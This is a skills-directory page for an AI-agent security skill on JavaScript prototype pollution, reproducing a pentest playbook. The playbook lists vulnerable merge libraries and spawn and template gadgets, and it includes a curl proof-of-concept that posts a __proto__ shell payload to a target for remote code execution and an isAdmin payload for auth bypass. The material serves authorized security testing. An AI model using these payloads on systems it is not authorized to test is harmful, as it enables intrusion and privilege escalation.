prototype-pollution
What it does
This skill describes prototype pollution, a flaw in JavaScript and Node.js where a crafted key changes a base object that every object inherits. It is for developers and reviewers who check code they are allowed to test.
When to use it
- βWhen a developer asks the agent to check whether a Node.js app merges untrusted JSON or query data into objects.
- βWhen the agent reviews a project's dependencies for merge or clone libraries with known risky versions.
- βWhen a team needs to confirm that a finding shows a real effect, not just a changed object.
Skill link
https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/analyst/prototype-pollution/SKILL.mdCopy it and paste it into your AI (Claude, ChatGPT or Cursor), asking it to follow the instructions.
How to use
The easiest way: copy the message and paste it into your AI. It reads the skill and follows the instructions.
Ready-to-paste message
For Claude Code, Codex or Cursor: run it in your project folder and the skill gets installed.
Download the SKILL.md and drop it into your agentβs skills folder.
Example of what to ask your AI
βCan you check our Node.js app to see whether user JSON can change the base object used by every other object?β
5 new skills a week. 1 minute to read.
How it works
The agent looks for deep merge and clone calls, traces the untrusted input into them, and checks dependency versions against known risky ones.
Technical content (original SKILL.md)
Original text by the author, straight from GitHub.
Prototype Pollution Playbook
Prototype pollution is the JavaScript equivalent of a universal gadget:
plant a property on Object.prototype and it appears on every object in
the runtime. Worthless in isolation, deadly in chain (__proto__.isAdmin = true β auth bypass; __proto__.shell = "/bin/bash" β RCE via spawn).
1. Sinks β the libraries that still introduce sinks
Keep a running list per engagement. These continue to ship sinks in 2026:
- Deep-merge:
lodash.merge,deepmerge(pre-fix),merge-deep,deepExtend,hoek.merge,mixme - Deep-clone:
lodash.defaultsDeep,lodash.zipObjectDeep,set-value(pre-3.0.3) - URL-to-obj:
qs,express-fileupload,jquery.extend(true, ...) - Config loaders:
node-configrecursive merge,dotenv-extended,rc - Template engines: Handlebars helpers fed from untrusted ctx
# Every JS/TS project: sweep known-bad versions
jq '.dependencies,.devDependencies | to_entries[] | select(.key | test("merge|lodash|set-value|dot-object|dot-prop|node-pg"))' /workspace/src/package.json
npm ls lodash set-value dot-prop 2>/dev/null | grep -E '[0-9]'
2. Sources
Any user input deserialized into a nested object:
- JSON body parsers (
body-parser,express.json) - Query string parsers (
qswith default config parsesa[b][__proto__][c]=1) - YAML uploads
- Form-data / multipart
3. Audit workflow
- Find every deep merge call site.
- Trace each one backwards β is the right-hand object user-controlled?
- If yes: check the merge function's prototype-pollution fix version.
- Even if the merge is fixed, check whether a copy (lodash.set, dot-path-value, jsonpath.set) creates a pollution path.
4. Exploitation gadgets
Poisoning Object.prototype doesn't do anything by itself β you need
a gadget that reads a property that didn't exist before.
Classic gadgets:
child_process.spawn(cmd, args, opts)β opts has ashelloption. Poison__proto__.shell = "/bin/bash"then any subsequent spawn call executes through bash and interprets args as shell strings.- Express middleware β most middlewares check
options.someFlagwithif (opts.someFlag). Poisoning that flag flips security defaults. - Templating β Handlebars and EJS read
helpersandpartialsfrom the context object; pollution adds helpers that execute code. lodash.templateβ if the template source is built from_.template(tpl, ctx)you can inject via pollutedescape/evaluatekeys.mongooseβ pollutingSchema.Typescauses subsequent schema definitions to use attacker-controlled types.
5. PoC template
# Classic lodash.merge RCE via child_process.spawn
curl -X POST https://target.com/api/settings \
-H 'Content-Type: application/json' \
-d '{"__proto__": {"shell": "/bin/bash", "env": {"PATH": "/tmp:/usr/bin"}}}'
# Second request triggers the gadget
curl https://target.com/api/render-pdf
# β any subsequent child_process.spawn call now runs through /bin/bash
6. Success signals for validate_finding
- Server error with stack trace referencing
Object.prototype - Output of injected command reflected in next response
- Admin-only endpoint now returns 200 after poisoning
__proto__.isAdmin
Negative control: same payload with proto (no leading underscores) β
should have no effect. If it does, the endpoint is treating that key
specially and the finding is unrelated.
7. Default CVSS
| Variant | Vector | Score |
|---|---|---|
| DoS (crash Node process) | AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H | 7.5 |
Auth bypass via isAdmin pollution |
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N | 9.1 |
| RCE via spawn gadget | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H | 10.0 |
8. Chain promotion
Prototype pollution is almost always the first hop of a chain. After
validation, add an enables edge from the pollution vuln to:
- the spawn / template gadget vuln (RCE chain)
- the auth check vuln (privilege escalation chain)
- the SSRF vuln if the downstream request lib has an options pollution surface
Chain weight 0.4 β pollution is cheap once the merge sink is known.
FAQ
What is prototype pollution?
It is when a crafted key adds a property to a base object, so the change shows up in many other objects.
Which inputs are risky?
The skill lists JSON bodies, query strings, YAML uploads and form data as common sources.
Which libraries does the skill mention?
It lists several deep merge and clone libraries, and it says the agent should check the installed versions.
Details
Original description by the author
Hunt JavaScript prototype pollution (CWE-1321) β the 2023-2026 meta-vulnerability that chains into RCE, auth bypass, and SSRF on most Node.js stacks.
Popularity
- GitHub stars
- 6.5k
- Ranking position
- #13967
- License
- Apache-2.0
- Updated
- 11/1/2026
Comments
- β¦
More skills from this repository
detector-overview
6.5kHelps your agent read code that a scanner flagged and decide which flagged spots are real security bugs and which are false alarms.
exploiter-overview
6.5kHelps your agent join several confirmed security weaknesses into one test chain and check how far that chain could reach.
llm-redteam-overview
6.5kHelps your agent find the right AI red-team guide for a test, covering 15 tactic groups from prompt injection to model abuse.
aatmf-t01-prompt-injection
6.5kExplains prompt injection, where hidden instructions try to override an AI system, so security testers can check for it.
Similar skills
reverse-engineer-anything
422kHelps your agent look inside shipped apps and packages to explain features, compare versions, or guide a rebuild, using the REA tool.
1password
394kHelps your agent set up the 1Password CLI, sign in, and read or inject secrets without printing their values into chat.
healthcheck
394kHelps your agent audit the computer or server that runs OpenClaw for security risks, such as SSH, firewall, updates, and backups, then suggest safe fixes.